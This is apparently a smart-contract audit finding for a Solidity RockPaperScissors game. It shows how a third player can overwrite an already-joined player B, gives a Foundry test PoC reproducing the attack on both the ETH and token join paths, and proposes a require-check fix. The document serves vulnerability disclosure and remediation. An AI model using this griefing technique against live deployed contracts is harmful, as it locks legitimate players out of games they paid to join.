Summary
RockPaperScissors::joinGameWithEth and RockPaperScissors::joinGameWithToken does not check if an existing player has joined as player B. Malicious third party can join game after the existing player B has joined, replacing the existing player as player B. The existing player is prevented from playing due to this griefing attack.
Vulnerability Details
The following is the attack path
Player A creates game
Player B joins game
Player C joins same game, kicking out the existing player B
PoC
Place the following into RockPaperScissorsTest.t.sol and run
forge test --mt testPlayerCKicksOutPlayerB
function testPlayerCKicksOutPlayerB() public {
address playerC = makeAddr("playerC");
vm.deal(playerC, 10 ether);
vm.prank(address(game));
token.mint(playerC, 10);
address Player2;
vm.prank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
vm.prank(playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.prank(playerC);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
(, Player2,,,,,,,,,,,,,,) = game.games(gameId);
assertEq(Player2, playerC);
assertNotEq(Player2, playerB);
vm.startPrank(playerA);
token.approve(address(game), type(uint256).max);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
vm.startPrank(playerB);
token.approve(address(game), type(uint256).max);
game.joinGameWithToken(gameId);
vm.stopPrank();
vm.startPrank(playerC);
token.approve(address(game), type(uint256).max);
game.joinGameWithToken(gameId);
vm.stopPrank();
(, Player2,,,,,,,,,,,,,,) = game.games(gameId);
assertEq(Player2, playerC);
assertNotEq(Player2, playerB);
}
Impact
Impact: Medium, the existing player is prevented from playing
Likelihood: Low, malicious third party has to exploit this vulnerability before either player has commitMove. Additionally, there is no incentive for malicious third party to execute this exploit apart from griefing player B
Severity: Medium
Tools Used
Manual review
Recommendations
RockPaperScissors::joinGameWithEth and RockPaperScissors::joinGameWithToken should check if an existing player has joined as player B
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
+ require(game.playerB == address(0), "Another player has joined this game");
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
.
.
.
function joinGameWithToken(uint256 _gameId) external {
Game storage game = games[_gameId];
+ require(game.playerB == address(0), "Another player has joined this game");
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(game.bet == 0, "This game requires ETH bet");
require(winningToken.balanceOf(msg.sender) >= 1, "Must have winning token");
// Transfer token to contract
winningToken.transferFrom(msg.sender, address(this), 1);
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
